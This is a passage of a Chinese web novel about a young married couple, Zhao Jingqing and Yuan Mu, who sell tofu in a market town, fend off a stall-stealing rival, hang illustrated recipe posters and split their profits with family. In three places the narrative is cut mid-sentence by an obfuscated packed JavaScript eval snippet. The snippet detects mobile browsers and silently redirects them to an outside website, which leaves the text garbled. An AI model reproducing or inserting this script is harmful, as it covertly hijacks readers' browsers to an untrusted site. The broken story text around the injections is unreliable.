一旦动手,对方扭头说出去,就是他们为了强占位置,不惜出手打人,他们有理也变没理。 袁牧绷着脸,“我不动手,我就想和他理论。” 赵景清张了张嘴,是他太想当然了,“……是我想岔了。” 袁牧不言语,赵景清抿了抿嘴角,继续宽慰道:“不生气了,咱豆腐做得好,换哪个摊位都好卖。空摊位多,对面摊子还空着,咱们摆他对面去。” “……成。”袁牧应下,扫那摊主一眼,回身搬豆腐框往对面摆。 那摊主见状,顿时松了口气,额头鬓角全是汗。 赵景清一起搬东西摆上,中途一直在这个摊位摆摊的摊贩来了,赵景清送他两块豆腐,劳烦他到斜对面那位置去。 那摊主两边瞅了又瞅,瞧两卖豆腐的要打擂台,果断收下豆腐,跑赵景清指的摊位去。 收整好一切,袁牧去寄存驴车,赵景清守着摊位。 对面那摊主见袁牧离开,一扫方才的畏惧,昂首挺胸,眼里透着不屑,“当人夫郞的,不在家里生娃,抛头露面和男人抢生意,你男人是个银枪蜡头吧,啧啧啧。” 从前赵景清是软柿子,现在可不是,他身后可站着有人,他不怕,赵景清以牙还牙,“说你自个呢吧,当人丈夫的,就你那点子生意,你家里可不指望你养家!” “你!”男人气急,气得面红耳赤,手指着赵景清直哆嗦,方才他男人要动手,他死死拦着,还以为是个怕事儿的,没成想牙尖嘴利,不是个肯吃亏的主。 “只敢和人夫郎横,你算什么男人。”赵景清冷哼了声,埋头切豆腐,不理会他。 今儿他们来得早,耽搁了点时间,买菜的妇人和夫郎涌入菜市时,一切都准备妥当。 潘荷花挎着菜篮子,进了菜市直奔豆腐摊。 自打那姓赵的小夫郎继续卖豆腐,连着四五天,她家饭桌上豆腐没断过,变着法儿的做,吃几天还没吃腻。昨儿孩子说想吃葱烧豆腐,今儿她特意赶早来买,赶早的豆腐最新鲜! 赵姓夫郎家的豆腐好卖,可得走快些!潘荷花风风火火一路,寻思着快到了踮脚一瞅,原本围满人的摊位没人,潘荷花暗道坏了,难道今儿赵姓夫郎没来卖豆腐? 她不信邪,快步走近,原本是赵姓夫郎的豆腐摊,换了个矮瘦的男人,黑着脸,浑像是人欠他钱似的,大早上瞧见就晦气! 他摊位无人驻足,而他对面的摊位人声鼎沸,热闹至极。 熟悉的清亮声音从里头传出,“阿叔,您的两块老豆腐,六文。” 潘荷花眼睛一亮,慢下的脚步一转,往对面人堆里挤。她嗓门大,垫着脚露出个头就问:“赵姓夫郎,你咋换了个摊位,不在原处啦?” 赵景清听见声音,手上包豆腐的动作不停,抬眼搜寻到说话的人,眼熟的紧,他第一天回来卖豆腐,她来迟了没买到,后边天天赶早来买,赵景清笑道:“婶子,今儿来迟了没抢着位置。” 常来菜市买菜的人,都知道菜市外边的位置靠抢,摊贩流动大。但像赵姓夫郎这种天天来卖豆腐的摊贩,固定占同一个位置,甚少有人会特意同他抢,卖东西讲究个和气生财,哪个位置卖东西不是卖。 潘荷花扭头瞧后边摊位男人的黑脸,“是没抢着,还是被人抢了啊?” 这话不待赵景清回答,便有等着买豆腐的人开口,“那还用说,当然是被人抢了,那谁来着……哦我想起来了,王大川,他家卖的豆腐死难吃,一股说不出来的味儿!” “也就现在天气冷,前边夏天热,王大川家豆腐酸了都还在卖!” “还说没人买他家豆腐,他那豆腐哪个敢吃,送我都不吃。” 赵景清适时插嘴,“酸豆腐吃了闹肚子,你们放心,我家豆腐都是新鲜现做的,绝不卖隔夜豆腐。” “我们当然相信你,吃你家那么多豆腐,好不好还是吃得出来。” 潘荷花笑着道:“那他还好意思眼红人家生意好,抢人家摊位,怕是没摆正自己位置。” “就是没摆正,摆正了还有脸在菜市卖豆腐?早收拾回家了!” 话落,引起一阵轰笑。 对面豆腐摊主,也就是王大川听着,脸色变幻个不停,红了又白,白了又黑,心里又气又恼!张嘴乱说,他家豆腐哪是他们口中说的那样?! 分明豆香浓郁,可香着嘞,山猪儿吃不来细糠! 王大川恨恨地盯着对面,不防对上袁牧如鹰的双目,顿时浑身一哆嗦,啥也不敢想,忙低下头。 也就那男人在,不然……王大川咬牙切齿。 买菜的妇人、夫郞买了豆腐也不走,围着赵景清摊子聊开了,哪家菜不新鲜、哪家菜新鲜、哪家菜便宜……谁都能说两句。 赵景清招呼客人买豆腐,留了个耳朵听着,寻思着往后自个要买,就去他们说得摊子。 摊子热热闹闹,有人路过听一耳朵,也能插嘴说两句。 “要论菜市卖豆腐这几家,就属这家最好!”潘荷花挎着菜篮子,听得津津有味,都不急着买菜了,“豆腐香得嘞,我家这些天饭桌上就没断过,特别是香煎豆腐,老豆腐煎两面黄,打个蛋裹点鸡蛋液煎的,最香!” “对对对,还有做麻婆豆腐……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779767|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉沫豆腐也可以。” …… “豆腐丸子不错,我给你们说咋个做……” …… 一连说了不少菜式,赵景清听着,不曾想简简单单的豆腐,可以做那么多好吃的呢! 人来来往往连续不断,豆腐框里的豆腐不断减少,本来没打算买豆腐的,听了豆腐咋做好吃,也买两块说回去试试。 许是因此,前些天要卖到散市才能卖完的豆腐,今儿不过两个时辰已经全部卖完!快了将近半个时辰呢! 赵景清见状,心中隐隐生出一个想法,他琢磨着,越想越觉得可行。 收拾好豆腐框,袁牧先搬一摞去驴车上,赵景清守在摊位。他瞧向对面王大川的摊位,不瞧不知道,一瞧吓一跳,满满几框豆腐,他没卖出去几块! 赵景清忍不住乐出来,抢位置有啥用,卖东西又不看位置,看的是手艺!手艺不好,再好的位置也白搭!顾客又不是傻子,上一次当就记住了,还指望人次次上当啊? 很快,袁牧回来了,赵景清和他一人搬些,摊位便清空了。 抵达寄存驴车的地方,袁牧往车板上放东西。赵景清本该去结钱,可他没挪动步子,站在原地看着袁牧,颇有些欲言又止的意味。 袁牧问:“咋看着我不说话,有啥事儿?” 赵景清道:“我想做个菜谱,将豆腐能做的菜写上,做法也写上,挂在咱们摊位后边,顾客瞧见想吃,就会买咱们豆腐,生意能好些。你觉得咋样?” “可行。”袁牧也听见顾客说豆腐做法,却没往这方面想,他不由赞许,“你小脑瓜子转挺快。” 赵景清笑了笑,“婶子阿叔们说的菜式,我都记住了,我说你写,成吗?” 袁牧一时间慌乱不已,就他那字,记账自家看还成,挂出去招摇,献丑又丢脸,不成!绝对不成! 可对上景清眼巴巴的双目,袁牧拒绝的话又说不出口,短短几息间,袁牧脑海中闪过无数念头,生出一个急智,他道:“我有一个更好的想法,单写字有许多人不会认,不如我们找人画成画,画旁边写做法,色香味占个色,或许能更吸引人。” “可以!”赵景清立即同意,转念想了又想,“可咱们从哪儿找人给咱们画画?会不会很贵?” 袁牧被问住了,想了想道:“镇上有学堂,咱们去学堂外找人。” 提起学堂,赵景清福至心灵,“袁牧,我知道找谁了,你还记得许阿叔吗?” 袁牧点点头,景清回门那日,站赵家门口几句话挑得赵景明面子里子都丢光的夫郎。 赵景清这才继续说:“许阿叔家儿子在学堂读书,咱们找他吧。他读书好,字也写得好,还会作画!许阿叔给我瞧过他画的鱼儿,就像在水里游着,是活的!” “成,那咱们去找他。是去学堂,还是回梧桐里?”袁牧问。 回梧桐里却不回赵家,街坊邻居瞧见,免不得被说闲话,赵景清道:“还是去学堂吧。” 19. 019 托人办事可不能空着手,两人去买了两包桃酥,立即赶往山阳学堂。现在临近午时,恰巧是下学的时间,学堂外读书子弟甚多,三三两两结伴而行。 两人等在学堂对面,赵景清探着头瞧,好一会儿才见清瘦颀长的少年从学堂迈出来,身侧是两个结伴的同窗。赵景清招手喊人,“茂之!” 周茂之寻声看过来,见到两人稍显意外,又扭头与结伴的同窗道别,大步走过来。 “景清哥,袁大哥。”周茂之喊人时,目光不动声色看向袁牧,早知景清哥换嫁给了个猎户,还是第一次见着人。 袁牧颔首,赵景清斟酌开口,“茂之,我们来这儿,是想请你帮一个忙。” 周茂之问:“帮什么?” 赵景清告诉他所求之事,在最后问:“成吗?不让你白忙活,咱们按市价给。” “成,景清哥你不用给钱,举手之劳罢了。”周茂之答应下来,神色认真,“你同我说说,有啥菜式,是啥做法。” 赵景清便将今儿听到的菜式,以及自个知道的菜式,全部告诉他。 周茂之道:“我记住了,我今晚就能画好,明儿这个时候,你们来这取。” “好。”赵景清应下,将包着桃酥的油纸袋递给他,“你拿回家吃,香香嘴巴。” 周茂之不收,借口要走,“阿爹在家等我吃饭呢,景清哥我先走了!” “茂之!”赵景清将包着桃酥的油纸袋塞他手里,“给许阿叔吃,你帮我带给他。” 周茂之怀里抱着油纸袋,无奈收下,“成。” “不多耽误你了,回家吧,咱也走了。”赵景清含笑道,笑意清浅,却是在赵家时少有见到的。 “明儿见。”周茂之提着油纸袋转身离开,走了一会儿再回头,只见景清哥和袁牧并肩而行,道路上有马车经过,袁牧将人护在里侧。 提着桃酥回到梧桐里,周茂之踏入家门,“阿爹,我回来了。” “快来吃饭!”许常英招呼道,瞧见他手里提着东西,“买啥了?” “阿爹,我没买,是景清哥给你的。”周茂之把油纸袋塞许常英怀里,洗手吃饭,将事情来龙去脉和许常英说清楚,“我不要,景清哥硬塞给我,说带给你吃。” “这孩子!”许常英叨叨,嘴角却带着笑,他拆开油纸袋,拿出一块来咬了口,油香酥脆,景清这孩子心细,还记得他爱吃啥,许常英想了想,不由问道,“你说景清和他丈夫一起来找你,你瞧着他两相处的可还行?” 周茂之咽下嘴里的米饭,才回答道:“处得还行,景清哥气色挺好,脸上挂着肉,还爱笑了些。袁大哥瞧着凶,但帮景清哥做豆腐卖豆腐,人挺好的,对景清哥也不错。反正景清哥比在家里过得好。” “那就好。”许常英轻叹一口气,“这话我也就和你私下说说,闹腾出这档子事儿,景清嫁给袁牧,是件大好事。裴秀才家里那情况,他做不了活,又要读书,纸笔花费恁大,景清嫁过去就是当牛做马,不说其他,单说做豆腐这事儿,裴秀才会帮忙做吗?我看未必。” “裴家老太婆听说是个不好相与的,比之李长菊也不差,忒会磋磨人,景清嫁到裴家去,就是从一个火炕,跳另一个火坑里。裴家还有两个小叔子,一个小哥儿,都指望着景清吃喝,半大小子吃穷老子,一家的重担都得压他身上。” 周茂之搛菜,“阿爹,景清哥和裴秀才的事儿没成,你就别想那么多了,思虑太多伤神。” “成成成,我不多想,吃你的饭吧。”许常英吃完一块桃酥,又忍不住道,“我同人打听过,袁家老两口能攒钱。他公爹年轻时能打猎,攒了不少钱,房子都换成青砖瓦房,后边年龄大了不进山,但也是种地的好把式,地里收成好。他婆母半个月来镇上卖一次鸡蛋,也是一份进项。袁牧继承他爹年轻时的手艺,也是个打猎的好手,半年不开张,开张吃半年。景清自个还能卖豆腐赚钱,这一家子日子能过好。” 周茂之吃完放下筷子,“那现在你心可以放肚子里了吧?” “那当然,我现在可算安心了。”许常英又拿出一块桃酥咬嘴里,把油纸袋包好,叮嘱道,“景清要的画,你赶紧画出来。” 周茂之:“知道了,阿爹。” 次日,王大川还是占着位置不让,赵景清和袁牧没管他,依旧在他对面摆摊。 今儿生意也好,虽比不上昨儿热闹,但摊子前人没断过,三三两两的来,豆腐卖得挺快,和昨儿差不多时间卖完。 瞧着时辰快到学堂下学,赵景清和袁牧赶忙收拾好豆腐框搬到驴车上,急急忙忙往山阳学堂赶,好险赶上了。 周茂之从学堂里走出,一眼就瞧见高大的袁牧,告别同窗走上前。他从书袋里取出成卷的画纸,递给赵景清,“景清哥,袁大哥,你们看可还行。” 赵景清打开纸张,画有颜色,画得极好,他瞧着都嘴巴馋,想知道这菜是啥味儿。菜式名写最上边,菜式图画占上半张纸,下半张是食材和烹饪的添加顺序,哪个菜怎么做一目了然。 “行!你画得真好!”赵景清一张张翻过,高兴得紧,他不认字都能看懂,想来买菜的婶子阿叔们也能看懂。 袁牧道:“一眼就能看明白,真不错。” 周茂之笑了笑,“那就好。” 赵景清将画卷起来收好,从荷包里取出半两银子,塞给周茂之。 这是他和袁牧商量的价格,书坊有学子抄书,一卷五千字的文章是三百文。他们请周茂之作画,价格本就比抄书贵,拢共二十四个菜式,画二十四张画,纸张颜料都用茂之的,纸张价格尚好,颜料价格可贵,不能让茂之帮他们,还往里贴补。 周茂之说什么也不肯收,直言是举手之劳。 赵景清拧不过他,袁牧接手拿过半两银子,拉住周茂之的手,任他如何也挣脱不开,强硬地将半两银子放他掌心,“你收好。” 周茂之:“……” 赵景清劝道:“收下吧,你不收下次都不好意思再找你帮忙了。” “……好。”周茂之只得收下。 告别周茂之离开,赵景清和袁牧商量,要怎么将纸张挂摊子后边。 袁牧道:“咱去买张油纸,用浆糊把画贴上边,支两根竹竿挂在后边。油纸防水,万一下雨下雪,也好收起来。” 这主意可行,赵景清点头,两人去买油纸。 回村的驴车上,赵景清摸着画纸,满心的迫不及待,真想快点到明天,好知道这法子有没有用。 回到家中,吃完午饭泡豆子,赵景清捡着豆子,还不忘让袁牧去调浆糊。他泡好豆子,袁牧拿来浆糊。 在堂屋桌上铺开油纸,赵景清爱惜地将菜谱画纸拿出来,袁牧抹浆糊,他则规整的贴在油纸上。 袁星立在一旁,好奇不已,“二哥,我也想抹。” 袁牧把抹浆糊的竹片递给他,叮嘱道:“要抹均匀。” 林翠娥挤在旁边探头看菜谱,看一个琢磨一个,“香煎豆腐瞧着不难,啥时候做一个。麻婆豆腐也是……看着还不错,你们这个做得好,一看就明白。” 袁牧含笑道:“景清想的,小脑瓜子转得快。” 林翠娥不由夸赞,“还是景清活泛。” “娘……”赵景清不甚好意思,也为袁牧说话,“画图是袁牧提的。” 林翠娥觑一眼袁牧,揶揄道:“你脑瓜子也会转了?” 袁牧:“……” 赵景清憋着笑,袁星乐得不行,肩膀一耸一耸的。 日落月升,月辉笼罩之下,乐明村宁静祥和,不知哪家狗吠两声,引起一阵应和。 丑时过半,袁家燃起烛火,响起推磨声,烟囱冒出袅袅炊烟。 黑沉的天幕徐徐后撤,天际泛起灰白,满载豆腐框的驴车使出袁家,离开乐明村,驶入山阳镇,进入菜市。 王大川仍然占着摊位不让,早早就来摆开摊子。 赵景清和袁牧依然摆在他对面,卸下豆腐框后,袁牧不似往日那般离开去寄存驴车,而是从车板上拿下两根细竹竿,展开油纸捣鼓起来。 王大川收拾着,目光不时瞟向对面,心道又要搞啥名堂,不好好做生意,就会搞些歪门邪道。 油纸在摊位后展开,王大川眯眼瞧,涂涂画画的啥玩意? 袁牧转身,瞧见他那副嘴脸,皱眉瞪向他,直把人看得别开眼,才离开去寄存马车。 时辰尚早,菜市人更多的是摊贩,或背或推的,皆风风火火,但不论谁路过豆腐摊,都要侧目多看两眼。 很快,菜市的人多了起来。 买菜的妇人、夫郞路过豆腐摊,瞧见后边展开大大一张油纸,上下两行贴着画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779768|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。看起来好像是菜谱,连做菜的法子都画在下边,画得可好,有的玉白有的金黄,瞧着便觉得好吃,不由驻足多看几眼。 有个婶子盯着看了许久,指着油纸问:“小哥儿,这是菜谱吗,照着做能做出来不?” “是,能做出来。”赵景清捡着几道菜说,“香煎豆腐用老豆腐,煎好外酥里嫩,再调个酱料回锅炒,好吃得很。那个豆腐丸子……” 说罢,赵景清笑着劝道:“这些都是常买我家豆腐的客人琢磨出来的家常菜,味道好吃,做法又简单,要不婶子你买两块豆腐回去试试。嫩豆腐两文一块,老豆腐三文一块。” 婶子盯着香煎豆腐的菜谱瞧了会儿,把做法记下,“成,给我包两块老豆腐。” “好嘞!”赵景清麻利地给她包上两块豆腐,接过六块铜板。 有人问:“我想做豆腐丸子,用老豆腐还是嫩豆腐?” 赵景清:“老豆腐。” “那先来一块,我回家做了试试,好吃再来。” 赵景清:“行,您的老豆腐,您拿好。” 不多会儿,就卖出去三十几块豆腐,这才开张呢! 袁牧寄存驴车回来,瞧见摊位前人头攒动,比往天都要多,不由脚步一顿,忙大步挤进摊位。 不时有人问,这个菜咋做那个菜咋做,赵景清边包豆腐边解释,豆腐递出不会认错人,也不忘收钱。 你要三块,我要两块,豆腐框一会儿空一框,一会儿又空一框,豆腐摊前的人就没少过,热闹至极。 老主顾来买豆腐,瞧见后边挂着的菜谱,笑着道:“哟,这不是前两天咱们说的那些菜吗?” “是,你们说的菜式好,我寻思着做成菜谱,让更多人做了尝尝。”赵景清问,“阿叔,还是一块嫩豆腐一块老豆腐吗?” “对。”挎着菜篮子的中年夫郞笑得合不拢嘴,“都是家常菜式,有那么好啊?” 赵景清包好两块豆腐递给他,“是啊,您瞧那么多人都想买豆腐照你们说的菜式做来吃呢。” “也是。”夫郞环顾摊子前围着的人,付了五个铜板,笑着离开。 往常过了一个时辰,买豆腐的人渐少,慢慢卖到菜市快散市才能卖完,今儿不过一个时辰,豆腐框已经清空,豆腐卖完了! 赵景清即使心里有准备,也不由吃惊。 袁牧更是,没想到不过是多个新奇的小点子,生意就能更上一层楼。 夫夫二人对望一眼,皆从对方眼中看到喜悦。 后边来的没买着豆腐,可惜不已,“这就卖完了?” 赵景清:“对,明儿咱多做些,婶子您明儿来。” 妇人叹了口气,又抬眼看菜谱,赵景清见状,“婶子,要不你进菜市里边,去进门第三排卖豆腐的老头那儿买,他卖的豆腐不错。” 妇人眼睛一亮,又迟疑道:“可……去别人那买豆腐,还用你的菜谱,会不会不太好?” “没事儿,您要过意不去,后边多来我这儿买。”赵景清道。 “成。”妇人笑着应下,提着菜篮子往菜市里边走,去到赵景清指的位置。 赵景清和袁牧收拾豆腐框,菜谱还挂着,有人瞧见了问,赵景清一样指路,半点也不介意给别人介绍生意。 摊子对面,王大川死死盯着赵景清和袁牧,气得简直要咬碎牙和血吞,他豆腐摊就在对面,他们竟然把生意往里边有钱租摊位的人送,也不给他送! 收下油纸,赵景清小心叠好,和袁牧一起搬东西去驴车。 赵景清嘴角盈着笑,坠在腰间的钱袋子沉甸甸的,让他心也定了下来。 袁牧收着东西问:“景清,明儿要做多少斤豆子?” “三十二斤。”赵景清道,一早上的时间最多只能做四锅,一锅八斤,三十二斤恰好,“不过一个石磨可能磨不完。” 袁牧道:“回去我再借个石磨来,村长家有。” 赵景清点点头,“成。” 翌日,豆腐摊上摞开二十二个豆腐框。 顾客络绎不绝,装有豆腐的豆腐框一个接一个挪开,日头上移,不到两个时辰,豆腐售卖一空。 赵景清收拾豆腐框,心中期盼,盼着好生意能维持到腊月二十八。 一如他所盼,转眼便到二十八。 快过年了。 20. 020 菜市年前最后一天开张,人满为患。 赵景清摊子前,围了不少人,有婶子、夫郎买完豆腐也不走,站旁边问他,“年后啥时候开张啊?” “出了初七,或者大年十五,说不准。”赵景清回应,手上忙活不停。 “别十五了,最好出了初七就来,早些来咱们照顾你生意。” 赵景清笑着回应,“好,我尽量。” 囤菜的人多,寻常买豆腐,一块两块的买,今儿买豆腐四块五块的买,寻思着天气凉,放两天放不坏,赵景清豆腐卖得快,二十二框豆腐一个半时辰就卖完了。 收拾豆腐框,跑两个来回搬到驴车上去。 摞好豆腐框,赵景清和袁牧对视一眼,皆如释重负,露出笑模样。天天起早贪黑忙活小半月,今晚终于可以睡个好觉,一觉到天明了。 赵景清道:“娘让带东西,咱们快些去买吧。” 袁牧点点头,夫夫二人挤进人海如潮的菜市,费尽九牛二虎之力,买齐林翠娥让买的东西。 驾驴车回到家中,豆腐框搬下来摞好,袁牧去刘大爷家还驴车。 赵景清迈进厨房,提温在灶台上的水壶倒水喝,“娘,你让买的东西放在堂屋,你瞅瞅买齐没。” 林翠娥拿盘子盛菜,笑着道:“你办事儿我放心,哪还用瞅啊。来,菜端堂屋去。” “好。”赵景清端菜去堂屋,将桌子清理出来,又回到厨房要帮忙。 “你不嫌累得慌,坐着歇会儿吧。”林翠娥说他,“对了,前头给你做的新衣裳新鞋子做好了,待会儿吃完饭拿给你试试。” “好!”赵景清双眸明亮,笑盈盈的似装着星子,“娘,您真好。” 人好,待他也好。 林翠娥瞥他,笑着道:“你都叫我娘了,能不对你好吗。” 赵景清只是笑,林翠娥盛出最后一个菜,催他道:“拿碗筷吃饭了。” 赵景清起身打开斗柜数碗筷。 自打做豆腐卖开始,袁家中午的饭食最扎实。饭是蒸的甄子饭,菜是一荤两素一汤,腌肉腊肉兔子肉,变着花样做,偶尔还加个蒸蛋羹,油水足足的。 干的是力气活,不吃饱哪来的力气。 吃完饭,不用拣豆子泡豆子,赵景清帮着收拾好厨房,从林翠娥那儿捧着新做好的衣裳鞋子回屋。 脱下干活穿的旧衣裳,赵景清换上新衣裳,湖色上衣,黑色下裤,林翠娥手艺好,暖和又修身,一如前边给他做的衣裳。 屋子里有一片铜镜,巴掌大小,赵景清隔远些瞧,人靠衣装,新衣裳衬得他人都挺拔几分。赵景清喜爱不已,稀罕了好一会儿。 又换上新鞋子,鞋底棉花垫得厚实,很软很暖和。这双是棉鞋,棉花压得好,鞋子上脚比兔皮鞋更小巧些,又暖和又好看。 赵景清坐板凳上,低头盯着鞋子看,嘴角一直盈着笑。 又穿出去给林翠娥和袁星看,赵景清道:“娘手艺好,穿着正合适。” 林翠娥道:“好看,湖色衬你。” 袁星盯着瞧好一会儿,扭头转向林翠娥,面露怀疑,“娘,我的是这样的吗?”可别给他做大衣裳。 “……”林翠娥无奈道,“记着呢,你前面不还瞧见了,还差裤脚收个边就好了,保证你过年能穿上新衣。” 袁星抱住林翠娥胳膊,“娘最好了。” 那股子黏糊劲儿,肉麻得不行,林翠娥直推他。 袁牧将水缸里鞣制的毛皮挑出来,听着前面院里的声音,走过来盯着景清看了好一会儿,才开口道:“好看。” 人好看,穿得也好看。 赵景清抿唇轻笑,触及袁牧的目光,他觉得脸有些热,赵景清眨眨眼别开视线,“娘,我先回屋将衣裳换下来。” 新衣裳、新鞋子得留到过年穿! 林翠娥点点头,“去吧。” 赵景清回屋换了身衣裳,没穿干活的旧衣裳,而是前头林翠娥给他做的黄栌色的新衣。 寻常这个点该午歇了,赵景清连打几个哈切,却不愿去睡觉,穿过院子到厨房侧面的屋檐下找袁牧。 他在检查鞣制的皮子,兔皮前些天已经挑出来洗干净挂柴房阴干,现在只剩下一张白狐狸皮。白狐狸皮值钱,不能给鞣制坏了,袁牧检查的小心仔细。现在天冷,泡半个月还没能达到袁牧想要的程度,检查完他又给泡回去。 袁牧在忙,赵景清便没说话,蹲一旁看他忙,等他忙完后才笑盈盈道:“快去洗手,咱们回屋盘账。” “不午歇了?”袁牧往厨房后边水缸走。 “不了,晚上睡。”赵景清站起身跟着他,拿水瓢舀水给他洗手。 袁牧擦手,“成。” 两人回屋,大下午的支开窗屋里亮堂,赵景清搬出小木箱,又提出一个布袋子。前面没时间,每天的铜板数两遍就放起来,也没穿成串,布袋子里装的全是铜板,挺沉的。 袁牧接过倒桌上,堆成铜臭味的小山。 赵景清和袁牧一个数,一个穿,百文一串,很快桌子边角便摞起一小堆铜钱串。 “拢共十两又八十文。”赵景清笑眯了眼,“对得上吗?” 袁牧边穿边数,穿好最后一串,他道:“对得上。” 卖十一天豆腐,有十两又八十文的进项,袁牧暗暗惊叹,这可比打猎稳定太多,打猎能赚钱,但很多时候看运气,而卖豆腐却是一个稳定的营生。 袁牧感慨道:“真赚啊,再苦再累都值了。” “还没算成本呢。”赵景清今儿实在高兴,眉眼间一直笑意萦绕,他拿出木箱子里的账本放袁牧身前,“除去成本没那么多,成本记了哪些?” 袁牧一边磨墨,一边将前面记的成本念出来。 赵景清清点了几项遗漏的让袁牧记下,“后边添了两个豆腐框,七十文;寄存驴车,一天两文共二十二文;请茂之画菜谱,五钱;买油纸,十文;对了,还有娘请师傅打石磨,四钱。这钱娘出的,也给记上吧。” 袁牧奋笔疾书,“好了。” “加上前边记的三两六钱又四十五文,拢共是四两六钱又四十七文。”赵景清继续道。 袁牧粗粗算了下,减去成本剩下五两四钱多,“成本都快占一半了。” “一应用具全是从头准备,花费是会多些。”赵景清倒不觉得有啥,做生意该花的本钱省不了,“豆腐框、石磨这些个物件花钱多,但就花一次钱,能用几年呢。其他的除了买黄豆,都是小钱。” “咱才卖十一天豆腐,本钱就回来了,还赚了五两多,这般想是不是心中畅快些了?”赵景清笑着道,“我再给你算算,黄豆五百斤,咱现在还余下一百九十斤。全按嫩豆腐算价,一百九十斤豆子出五百七十斤嫩豆腐,卖一百四十三框,能卖五两七钱多,这部分可没啥成本。” 袁牧望着他,景清算账从不打磕巴,笑盈盈的,瞧着耀眼极了,是赵家耽误了他。 袁牧拿笔杆子戳景清额头,“你小脑瓜子可太灵光了,听你算下来,我干劲满满,现在就能去磨二十斤豆子。去,现在就给我把豆子泡上。” 赵景清左躲右躲,乐不可支,“二十斤哪够,起码五十斤。” 袁牧直摇头,一本正经道:“那太多了,刘大爷家的驴都没这么使过。” 赵景清顿了瞬,把袁牧的脸带入拉磨的驴,笑得更厉害了,直笑得肚子疼。 “好了,不逗你了。”袁牧忍不住破功,把盈利和库存记下来,吹干墨迹。 赵景清轻咳两声,将成本数出来堆成一小堆,另一堆较多些的是盈利,赵景清仔细清点一遍,是五两四钱又三十三文。 清点完,赵景清垂下眼沉思一会儿,忽然开口道:“袁牧,我想给爹娘分钱。” 袁牧闻言声音沉了沉,“前头不是说,不用你交家用吗?” “不是家用。”赵景清神情认真,“是给爹娘的分成。” 袁牧一时没反应过来,“啥?” 赵景清解释,“我想照三七分配利润。爹娘出力,占三成;我们出钱出力,占七成。” “这不就是交家用换了个说法吗?”袁牧是这样理解的,“我们是一家人,爹娘帮我们哪用分恁清楚。” “不一样,这是一起赚的钱,该有他们的一份。”赵景清坚持道,他有自己的想法,“更因为我们是一家人,才应该分清楚,不能叫爹娘寒心。” “和别人合伙做生意,要给人分成,请人来帮忙,要给人结工钱。不能因为是爹娘给咱们帮忙,就让他们白出力。一时半会或许没有怨言,可时间久了呢?”赵景清问。 袁牧思索一番,松口道:“照你说的三七分。” 赵景清暗自松了口气,要是说服不了袁牧,他都准备好耍赖皮了——说了我管钱,我想咋分就咋分。 赵景清把钱装好,“袁牧,爹去哪儿了,咋吃完饭没见着他?” 袁牧道:“可能去大伯家了,我去找他。” 待袁老二回来,一家五口人齐聚在堂屋,赵景清和袁牧坐一根板凳,中间放着个布袋子。 袁老二目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779769|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在小年轻夫夫之间来回,“有啥事儿?硬要给我叫回来?” 袁牧和赵景清对视一眼,袁牧下巴微抬示意他说。 赵景清将盘账结果说出来,“爹娘,咱们年前做豆腐卖豆腐,十一天进账十两又八十文,成本四两六钱又四十七文,利润是五两四钱又三十三文。” 袁老二和林翠娥眼睛都睁大了,林翠娥好一会儿才找回自己声音,“恁多?” 前边只知道豆腐好卖,没成想竟能卖那么多钱! “嗯,刚盘的账。”赵景清继续道,“您们二老和星儿天天早起帮忙做豆腐,辛苦得紧,我和袁牧商量好,咱们赚的钱三七分成,你们三,我们拿大头七。” 说着,赵景清将置于他和袁牧中间的布袋子提起来,放到桌子上,推向林翠娥,“娘,三成算下来是一两六钱又三十文。你去找师傅打石磨的给的四钱,我也放在里边了,拢共二两又三十文,娘你清点一下。” “咋还给钱……”林翠娥看看布袋子,又扭头和袁老二对视,“咱们也没帮上什么忙,就推个磨,烧个火。” 袁老二也道:“是啊,景清把钱收回去吧。” 赵景清:“爹娘,没你们帮忙,我和袁牧最多卖十六斤豆子,想多卖些也忙活不过来,有钱也赚不着。有你们在,劲往一处使,才能卖到三十二斤,有十六斤豆子都是你们的功劳。活是一起干,钱也该一起分,是这个理吧?” 林翠娥迟疑,“理是这个理,可……” “那爹娘就别推拒了,收下吧。”赵景清将装钱的布袋子又朝她身前推了推,“星儿半大的小哥儿,也该多为他考虑考虑。” 林翠娥和袁老二交换个眼神,又看了眼袁星,将布袋子搂到自己身前,“成,那咱们就收下了。” 袁星后知后觉明白他们在说什么,脸红得像猴子屁股,“娘!景清哥哥!” “……嗯?”赵景清不接茬,恍若无事发生,转而道,“星儿,手伸出来,我送你一样东西。” 袁星瞅着他,想着上次的红头绳,伸出手掌,“什么呀?” 赵景清伸出手悬在他掌心上方,袖子里滑落一串铜板,啪嗒落他掌心里,“这是给你的。” 袁星瞪圆了眼睛,不敢置信地眨了又眨,一百文的钱串子在手里沉甸甸的,袁星结巴道:“我、我也有?!” 